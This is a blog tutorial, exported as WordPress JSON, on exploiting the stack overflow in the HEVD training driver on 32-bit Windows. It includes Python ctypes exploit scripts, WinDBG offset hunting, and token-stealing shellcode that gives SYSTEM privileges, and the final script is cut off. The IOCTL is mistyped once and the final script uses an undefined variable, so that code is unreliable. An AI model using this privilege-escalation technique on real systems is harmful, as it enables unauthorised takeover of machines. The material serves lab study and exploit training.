{"id":204,"date":"2022-05-22T16:51:18","date_gmt":"2022-05-22T14:51:18","guid":{"rendered":"https:\/\/areyou1or0.it\/?p=204"},"modified":"2022-08-13T17:45:45","modified_gmt":"2022-08-13T15:45:45","slug":"hevd-windows-kernel-exploitation-stack-overflow","status":"publish","type":"post","link":"https:\/\/areyou1or0.it\/index.php\/2022\/05\/22\/hevd-windows-kernel-exploitation-stack-overflow\/","title":{"rendered":"HEVD Windows Kernel Exploitation 2 &#8211; Stack Overflow"},"content":{"rendered":"\n<p>After preparing for OSEE over a year and finishing almost most of the topics for the previous years syllabus, I finally found the time to start writing a blog series about all the learning I had so far (and more to come as this is a long journey). We&#8217;ll be focusing on Kernel Exploitation for various techniques using this incredible source: HEVD a vulnerable driver: https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver <\/p>\n\n\n\n<p>Here&#8217;s the structure of the exploit we&#8217;ll be using:<\/p>\n\n\n\n<ul><li>Source Code Review<\/li><li>Analysis with IDA and finding IOCTL<\/li><li>Crafting the initial Exploit<\/li><li>Token Stealing &amp; Assembly Code Manual Analysis<\/li><li>Final Exploit and Spawn the Shell!<\/li><\/ul>\n\n\n\n<p>Alright, so each section will include the most important tips and tricks merged with a bit of theory. I&#8217;ll try to keep it not too long as the topic is hard to digest already (remind me these words in the more complex techniques later \ud83d\ude1b) So let&#8217;s get started!<\/p>\n\n\n\n<h2>Source Code Review:<\/h2>\n\n\n\n<p>Go to the source code file BufferOverflowStack.c: (I&#8217;m using 2.0 version of HEVD, for the earlier version, the names of the files can change)<\/p>\n\n\n\n<p>https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\/blob\/master\/Driver\/HEVD\/Windows\/BufferOverflowStack.c<\/p>\n\n\n\n<p>So let&#8217;s go through the code to analyze:<\/p>\n\n\n\n<p>The structure of the code is as below:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\/\/ verify if the buffer resides in user mode\nifdef SECURE \n\/\/ RtlCopyMemory Secure function\nelse\n\/\/ RtlCopyMemory Vulnerable function\nendif\n\/\/ throw exception if something is wrong\nIoctlHandler()\n\/\/TriggerBufferOverflowStack function<\/code><\/pre>\n\n\n\n<p>So let&#8217;s see each section of the source code:<\/p>\n\n\n\n<p><strong>\/\/ verify if the buffer resides in user mode <\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>__declspec(safebuffers)\nNTSTATUS\nTriggerBufferOverflowStack(\n    _In_ PVOID UserBuffer,\n    _In_ SIZE_T Size\n)\n{\n    NTSTATUS Status = STATUS_SUCCESS;\n    ULONG KernelBuffer&#91;BUFFER_SIZE] = { 0 };\n    PAGED_CODE();\n    __try\n    {\n        ProbeForRead(UserBuffer, sizeof(KernelBuffer), (ULONG)__alignof(UCHAR));\n        DbgPrint(\"&#91;+] UserBuffer: 0x%p\\n\", UserBuffer);\n        DbgPrint(\"&#91;+] UserBuffer Size: 0x%zX\\n\", Size);\n        DbgPrint(\"&#91;+] KernelBuffer: 0x%p\\n\", &amp;KernelBuffer);\n        DbgPrint(\"&#91;+] KernelBuffer Size: 0x%zX\\n\", sizeof(KernelBuffer));\n<\/code><\/pre>\n\n\n\n<p><strong>Secure implementation of the function RtlCopyMemory():<\/strong> This is secure because the developer is passing a size equal to size of KernelBuffer to RtlCopyMemory()\/memcpy(). <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#ifdef SECURE\n\nRtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer));\n<\/code><\/pre>\n\n\n\n<p><strong>Vulnerable implementation of the function RtlCopyMemory():<\/strong> This is a vanilla Stack based Overflow vulnerability because the developer is passing the user supplied size directly to RtlCopyMemory()\/memcpy() without validating if the size is greater or equal to the size of KernelBuffer<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#else\nDbgPrint(\"&#91;+] Triggering Buffer Overflow in Stack\\n\");\nRtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size);<\/code><\/pre>\n\n\n\n<div class=\"is-layout-flow wp-block-group\"><div class=\"wp-block-group__inner-container\">\n<p>Then we have the IoctlHandler(). Let&#8217;s see what&#8217;s going on with this code block:<\/p>\n\n\n\n<ul><li>If the correct IOCTL code makes it to the&nbsp;BufferOverflowStackIoctlHandler(), a&nbsp;<strong>UserBuffer&nbsp;<\/strong>(accepts user input) and a&nbsp;<strong>Size<\/strong>&nbsp;(user buffer size) parameter are available.&nbsp;<\/li><li>Then TriggerBufferOverflowStack() function will be triggered by passing UserBuffer and <strong>Size<\/strong>.&nbsp;(where the vulnerability exist via the&nbsp;RtlCopyMemory()&nbsp;function)<\/li><\/ul>\n\n\n\n<div class=\"is-layout-flex wp-container-6 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\" style=\"flex-basis:100%\">\n<div class=\"is-layout-flex wp-container-4 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\" style=\"flex-basis:100%\">\n<div class=\"is-layout-flex wp-container-2 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\">\n<pre class=\"wp-block-code\"><code>NTSTATUS\nBufferOverflowStackIoctlHandler(\n    _In_ PIRP Irp,\n    _In_ PIO_STACK_LOCATION IrpSp\n)\n{\n    SIZE_T Size = 0;\n    PVOID UserBuffer = NULL;\n    NTSTATUS Status = STATUS_UNSUCCESSFUL;\n\n    UNREFERENCED_PARAMETER(Irp);\n    PAGED_CODE();\n\n    UserBuffer = IrpSp-&gt;Parameters.DeviceIoControl.Type3InputBuffer;\n    Size = IrpSp-&gt;Parameters.DeviceIoControl.InputBufferLength;\n\n    if (UserBuffer)\n    {\n        Status = TriggerBufferOverflowStack(UserBuffer, Size);\n    }\n\n    return Status;\n}<\/code><\/pre>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div><\/div>\n\n\n\n<div class=\"is-layout-flex wp-container-10 wp-block-columns\">\n<div class=\"is-layout-flow wp-block-column\" style=\"flex-basis:100%\">\n<div class=\"is-layout-flow wp-block-group\"><div class=\"wp-block-group__inner-container\">\n<p>Now it&#8217;s time to get into more theory with IOCTL:<\/p>\n\n\n\n<h4>## Theory for 2 Windows API functions we&#8217;ll use: CreateFileA() and DeviceIoControl()<\/h4>\n\n\n\n<p>Device drivers are kernel mode objects meaning:<\/p>\n\n\n\n<ul><li>we cannot touch them directly from user mode.&nbsp;<\/li><li>Instead, we interact with the drivers through a \u201chandle\u201d.&nbsp;<ul><li>A handle is an abstract reference to an object, pipe, file, etc.<\/li><li>We&#8217;ll use the following function to define handle in our exploit code:<\/li><li>Resource: (<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/fileapi\/nf-fileapi-createfilea\">https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/fileapi\/nf-fileapi-createfilea<\/a>)<\/li><\/ul><\/li><\/ul>\n\n\n\n<p>handle = kernel32.CreateFileA(&#8220;\\\\\\\\.\\\\HackSysExtremeVulnerableDriver&#8221;, 0xC0000000, 0, None, 0x3, 0, None)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"402\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57-1024x402.png\" alt=\"\" class=\"wp-image-205\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57-1024x402.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57-300x118.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57-768x301.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.29.57.png 1142w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>After obtaining the handle to the device driver, we then can utilize IOCTLs (I\/O control codes) via IRPS (I\/O request packets).<\/p>\n\n\n\n<p>Windows API function DeviceIOControl is used for user mode apps to communicate with kernel mode drivers. (<a href=\"https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol\">https:\/\/docs.microsoft.com\/en-us\/windows\/win32\/api\/ioapiset\/nf-ioapiset-deviceiocontrol<\/a>)<\/p>\n\n\n\n<p>The first argument of the function is the handle to the device driver. <\/p>\n\n\n\n<p>kernel32.DeviceIoControl(&lt;handle&gt;, &lt;IOCTL-code&gt;, padding, len(padding), None, 0, byref(c_ulong()), None)<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"454\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01-1024x454.png\" alt=\"\" class=\"wp-image-206\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01-1024x454.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01-300x133.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01-768x341.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-13.32.01.png 1104w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<\/div><\/div>\n<\/div>\n<\/div>\n\n\n\n<p>Both of these functions are located in&nbsp;kernel32.dll. In summary we use the following functions for the following reasons:<\/p>\n\n\n\n<p>CreateFileA(): to create a handle to an I\/O device.<\/p>\n\n\n\n<p>DeviceIoControl(): We&#8217;ll use the handle created via CreateFileA() function as the first parameter and we&#8217;ll access the kernel mode object. <\/p>\n\n\n\n<h2>Analysis with IDA<\/h2>\n\n\n\n<p>Let&#8217;s open up the&nbsp;<strong>HEVD.sys<\/strong>&nbsp;driver file loaded with OSRLOADER earlier. Take a look at the functions present:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"1022\" height=\"398\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.38.20.png\" alt=\"\" class=\"wp-image-209\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.38.20.png 1022w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.38.20-300x117.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.38.20-768x299.png 768w\" sizes=\"(max-width: 1022px) 100vw, 1022px\" \/><\/figure>\n\n\n\n<p>Let\u2019s take a look at the&nbsp;IrpDeviceIoCtlHandler()&nbsp;function, which handles IRP requests with IOCTLs. As IRP will travel until it finds the applicable IOCTL, you&#8217;ll see many IOCTLs here:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"515\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-1024x515.png\" alt=\"\" class=\"wp-image-213\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-1024x515.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-300x151.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-768x386.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-1536x772.png 1536w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-2048x1029.png 2048w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-14-at-17.51.36-1-1568x788.png 1568w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>Let&#8217;s see the&nbsp;BufferOverflowStackIoctlHandler()&nbsp;function:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"408\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27-1024x408.png\" alt=\"\" class=\"wp-image-214\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27-1024x408.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27-300x120.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27-768x306.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.40.27.png 1270w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>You see a  \u201cjump if zero\u201d instruction which references the above instruction of sub eax, 0x222003h.<br>If that instruction ends up with zero, we&#8217;ll go to the BufferOverflowStackIoctlHandler() function which will trigger a stack overflow condition by passing our IOCTL provided.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"908\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59-1024x908.png\" alt=\"\" class=\"wp-image-215\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59-1024x908.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59-300x266.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59-768x681.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.47.59.png 1170w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>When we scroll up, we see the following lines:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"775\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55-1024x775.png\" alt=\"\" class=\"wp-image-216\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55-1024x775.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55-300x227.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55-768x581.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.48.55.png 1300w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This means if we send a value of&nbsp;<strong>0x2223003h<\/strong>&nbsp;as our IOCTL in our proof of concept, we can trigger the vulnerable code. <\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"698\" height=\"936\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.43.21.png\" alt=\"\" class=\"wp-image-217\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.43.21.png 698w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.43.21-224x300.png 224w\" sizes=\"(max-width: 698px) 100vw, 698px\" \/><\/figure>\n\n\n\n<p>Looking at the StackOverflowIoctlHandler() function, we eventually will land in the TriggerStackOverflow() function. Let\u2019s see what is contained in that function:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"830\" height=\"144\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.52.30.png\" alt=\"\" class=\"wp-image-218\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.52.30.png 830w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.52.30-300x52.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.52.30-768x133.png 768w\" sizes=\"(max-width: 830px) 100vw, 830px\" \/><\/figure>\n\n\n\n<p>800 hex bytes (2048 bytes) is the length of the&nbsp;<strong>KernelBuffer<\/strong>.<\/p>\n\n\n\n<p>So anything over 2048 bytes will crash the kernel, resulting in a BSOD (blue screen of death).<\/p>\n\n\n\n<h2>Exploit Version 1:<\/h2>\n\n\n\n<p>Our script structure will look like the following:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># imports for python\n# create handle with CreateFileA() function\n# throw exception if cannot get IOCTL handle\n# buffer and shellcode\n# DeviceIoControl() with the correct IOCTL and the handle<\/code><\/pre>\n\n\n\n<p>HackSysExtremeVulnerableDriver.c&nbsp;is responsible for creating the device, as we can see below:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"352\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34-1024x352.png\" alt=\"\" class=\"wp-image-219\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34-1024x352.png 1024w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34-300x103.png 300w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34-768x264.png 768w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.22.34.png 1506w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p>This means that we will use the path of&nbsp;<a href=\"file:\/\/\/HackSysExtremeVulnerableDriver\">\\\\.\\HackSysExtremeVulnerableDriver<\/a>&nbsp;within a call to&nbsp;CreateFile&nbsp;to open a handle for communication in our pwith the following format: <\/p>\n\n\n\n<p>handle = kernel32.CreateFileA( &#8220;<a href=\"file:\/\/\/HackSysExtremeVulnerableDriver\">\\\\\\\\.\\\\HackSysExtremeVulnerableDriver<\/a>&#8220;, &#8230;)<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct, sys, os\nfrom ctypes import *\n\nkernel32 = windll.kernel32\nhandle = kernel32.CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)\n\nif not handle or handle == -1:\n    print \"&#91;+] Cannot get device handle.\"\n    sys.exit(0)\n\n# EIP overwrite\npadding = \"\\x41\" * 2080\npadding += \"\\x42\" * 4\npadding += \"\\x43\" * (3000 - len(padding))\n\n# 0x222003 is the IOCTL code\nkernel32.DeviceIoControl(handle, 0x222003, padding, len(padding), None, 0, byref(c_ulong()), None)<\/code><\/pre>\n\n\n\n<p>Let&#8217;s verify the EIP overwrite with WinDBG:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>!sym noisy\ned nt!Kd_Default_Mask 8\n.reload<\/code><\/pre>\n\n\n\n<p>Verify if the HEVD is loaded with the following command:&nbsp;<strong>lm m H*<\/strong><\/p>\n\n\n\n<p>Then, execute&nbsp;g&nbsp;in the command window to let the Debugee run, so we can execute the PoC.<\/p>\n\n\n\n<p>Run the python script we just wrote above:<\/p>\n\n\n\n<p>Verify if we overwrite the EIP with the following command: r<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"566\" height=\"80\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/HEVD_30.png\" alt=\"\" class=\"wp-image-220\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/HEVD_30.png 566w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/HEVD_30-300x42.png 300w\" sizes=\"(max-width: 566px) 100vw, 566px\" \/><\/figure>\n\n\n\n<p>Pass through the crash: <strong>Debug<\/strong>&nbsp;&gt;&nbsp;<strong>Go Unhandled Exception<\/strong> and then type&nbsp;g&nbsp;again to execute.<\/p>\n\n\n\n<p>We get the BSOD &#8211; and the&nbsp;42424242&nbsp;value of EIP:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"644\" height=\"464\" src=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.58.55.png\" alt=\"\" class=\"wp-image-221\" srcset=\"https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.58.55.png 644w, https:\/\/areyou1or0.it\/wp-content\/uploads\/2022\/05\/Screenshot-2022-04-15-at-15.58.55-300x216.png 300w\" sizes=\"(max-width: 644px) 100vw, 644px\" \/><\/figure>\n\n\n\n<p>So the first part was the initial foothold \ud83d\ude01 Now we can actually start the exploitation:<\/p>\n\n\n\n<h2>Token Stealing<\/h2>\n\n\n\n<p>That one of the techniques we can use here. We need to escalate our privileges to NT AUTHORITY \\ SYSTEM. In order to do that, we&#8217;ll write a piece of shellcode that will copy a token with the system privileges to the target process.  (cmd.exe)<\/p>\n\n\n\n<p>First of all, the sample payload is provided to us by HackSysExtreme: <\/p>\n\n\n\n<p><a href=\"https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\/blob\/master\/Exploit\/Payloads.c\">https:\/\/github.com\/hacksysteam\/HackSysExtremeVulnerableDriver\/blob\/master\/Exploit\/Payloads.c<\/a><\/p>\n\n\n\n<p>What the heck does this mean you may say to yourself. Well, I&#8217;ll try to explain it all. Here&#8217;s the purpose of this code:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>pushad                              \nxor eax, eax                         \nmov eax, fs:&#91;eax + KTHREAD_OFFSET]   \nmov eax, &#91;eax + EPROCESS_OFFSET]     \nmov ecx, eax                         \nmov edx, SYSTEM_PID                  \n\nSearchSystemPID:\n    mov eax, &#91;eax + FLINK_OFFSET]    \n    sub eax, FLINK_OFFSET\n    cmp &#91;eax + PID_OFFSET], edx      \n    jne SearchSystemPID\nmov edx, &#91;eax + TOKEN_OFFSET]        \nmov &#91;ecx + TOKEN_OFFSET], edx                  \npopad <\/code><\/pre>\n\n\n\n<ul><li>Extract the offset to the process and find the following 2 values:<ul><li>_KTHREAD_OFFSET<\/li><li>_EPROCESS_OFFSET<\/li><\/ul><\/li><\/ul>\n\n\n\n<ul><li>Find the ActiveProcessLinks with the SearchSystemPID function<\/li><li>Find the token (the last 2 mov instructions)<\/li><\/ul>\n\n\n\n<p>In order to find these values, we&#8217;ll use WinDBG. We&#8217;ll use the command syntax: dt n!_* for each data structure. <\/p>\n\n\n\n<p>We&#8217;re going to start analyzing _KPRC which stands for Kernel Processor Region. This data structure contains a lot of information. We&#8217;ll target specifically what we are looking for. The map to the values looks like the following:<\/p>\n\n\n\n<ul><li>_KPRC<ul><li>_KPRCB<ul><li>_KTHREAD<ul><li>_KAPC_STATE<ul><li>_KPROCESS<ul><li>ActiveProcessLinks<\/li><li>Token<\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul><\/li><\/ul>\n\n\n\n<p>So let&#8217;s get started:<\/p>\n\n\n\n<p>kd&gt; dt nt!_KPRC<\/p>\n\n\n\n<p>Scroll down until you see _KPRCB. It&#8217;s +0x120 bytes away from _KPRC.<\/p>\n\n\n\n<p>kd&gt; dt nt!_KPRCB<\/p>\n\n\n\n<p>You&#8217;ll see _KTHREAD which is +0x004 bytes away from _KPRCB. Meaning _KTHREAD is +0x124 bytes away from _KPRC. <\/p>\n\n\n\n<p>In the assembly code, we will use fs segment register to access the data structure. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>mov eax, fs:&#91;eax + KTHREAD_OFFSET]   \n<\/code><\/code><\/pre>\n\n\n\n<p>In order to find the offset of _EPROCESS of the current thread, we&#8217;ll go through the same logic:<\/p>\n\n\n\n<p>kd&gt; dt nt!_KTHREAD<\/p>\n\n\n\n<p>Scroll down until you see _KAPC_STATE. It&#8217;s +0x040 bytes away from _KTHREAD.  <\/p>\n\n\n\n<p>kd&gt; dt nt!_KAPC_STATE<\/p>\n\n\n\n<p>You&#8217;ll see _KPROCESS is +0x010 away from _KAPC_STATE which make is +0x050 bytes away from _KTHREAD. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code>mov eax, &#91;eax + EPROCESS_OFFSET]     \n<\/code><\/code><\/pre>\n\n\n\n<p>Cool, now we need to find the token of the current process. Let&#8217;s find the values with the same logic:<\/p>\n\n\n\n<p>kd&gt; dt nt!_EPROCESS<\/p>\n\n\n\n<p>See that ActiveProcessLinks is +0x0b8 bytes away from _EPROCESS and Token is +0x0f8 bytes away from _EPROCESS. <\/p>\n\n\n\n<p>Last step is list all of the current processes with the following command:<\/p>\n\n\n\n<p>kd&gt; process 0 0<\/p>\n\n\n\n<p>Look for a system process and pass the PID with the following command:<\/p>\n\n\n\n<p>kd&gt; &lt;pid&gt; 1<\/p>\n\n\n\n<p>This will reveal the SYSTEM process access token. We will copy this token to our own cmd.exe which will give us NT AUTHORITY\\SYSTEM<\/p>\n\n\n\n<p>Let&#8217;s rewrite the assembly code with the known offsets and values:<\/p>\n\n\n\n<ul><li>_KTHREAD offset from _KPCR: 0x124<\/li><li>_EPROCESS offset from from _KTHREAD: 0x50<\/li><li>ActiveProcessLinks from _EPROCESS: 0x0b8<\/li><li>Token from _EPROCESS: 0x0f8 <\/li><\/ul>\n\n\n\n<pre class=\"wp-block-code\"><code><code>pushad                              \nxor eax, eax                         \nmov eax, fs:&#91;eax+0x124]   \nmov eax, &#91;eax+0x50]     \nmov ecx, eax                         \nmov edx, 0x4  ;PID for Win7                  \n\nmov eax, &#91;eax+0xb8]    \nsub eax,0xb8\ncmp &#91;eax+0xb4], edx      \njnz 0x1a\n<\/code>\n<code>mov edx, &#91;eax + 0xf8]        \nmov &#91;ecx + 0xf8], edx                  <\/code>\n<code>popad<\/code>\npop ebp ;restore the base pointer\nret 0x8 ;return and clear the next 8 bytes<\/code><\/pre>\n\n\n\n<p>Let&#8217;s write our final code with one more additions:<\/p>\n\n\n\n<p>We&#8217;ll Bypass DEP with VirtualAlloc. We&#8217;ll allocate RWX region and copy our shellcode to the newly allocated RWX region<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code><code># Bypass DEP with VirtualAlloc \n# Allocate RWX region for shellcode\npointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))\nbuf = (c_char * len(payload)).from_buffer(payload)\n\n# Copy shellcode to newly allocated RWX region\nkernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))\nshellcode = struct.pack(\"&lt;L\",pointer)<\/code><\/code><\/pre>\n\n\n\n<h2>Final Script:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>import struct, sys, os\nfrom ctypes import *\n\nkernel32 = windll.kernel32\nhandle = kernel32.CreateFileA(\"\\\\\\\\.\\\\HackSysExtremeVulnerableDriver\", 0xC0000000, 0, None, 0x3, 0, None)\n\nif not handle or handle == -1:\n    print \"&#91;+] Cannot get device handle.\"\n    sys.exit(0)\n\npayload = \"\"\npayload += bytearray(\n    \"\\x60\"                            # pushad\n    \"\\x31\\xc0\"                        # xor eax,eax\n    \"\\x64\\x8b\\x80\\x24\\x01\\x00\\x00\"    # mov eax,&#91;fs:eax+0x124]\n    \"\\x8b\\x40\\x50\"                    # mov eax,&#91;eax+0x50]\n    \"\\x89\\xc1\"                        # mov ecx,eax\n    \"\\xba\\x04\\x00\\x00\\x00\"            # mov edx,0x4\n    \"\\x8b\\x80\\xb8\\x00\\x00\\x00\"        # mov eax,&#91;eax+0xb8]\n    \"\\x2d\\xb8\\x00\\x00\\x00\"            # sub eax,0xb8\n    \"\\x39\\x90\\xb4\\x00\\x00\\x00\"        # cmp &#91;eax+0xb4],edx\n    \"\\x75\\xed\"                        # jnz 0x1a\n    \"\\x8b\\x90\\xf8\\x00\\x00\\x00\"        # mov edx,&#91;eax+0xf8]\n    \"\\x89\\x91\\xf8\\x00\\x00\\x00\"        # mov &#91;ecx+0xf8],edx\n    \"\\x61\"                            # popad\n    \"\\x5d\"                            # pop ebp\n    \"\\xc2\\x08\\x00\"                    # ret 0x8\n)\n\n# Defeating DEP with VirtualAlloc \n# Allocate RWX region for shellcode\npointer = kernel32.VirtualAlloc(c_int(0),c_int(len(payload)),c_int(0x3000),c_int(0x40))\nbuf = (c_char * len(payload)).from_buffer(payload)\n\n# Copy shellcode to newly allocated RWX region\nkernel32.RtlMoveMemory(c_int(pointer),buf,c_int(len(payload)))\nshellcode = struct.pack(\"&lt;L\",pointer)\n\n# EIP overwrite\nbuffer = \"A\" * 2080 + shellcode\n\n# 0x222003 is the IOCTL code\nkernel32.DeviceIoControl(handle, 0x222003, padding, 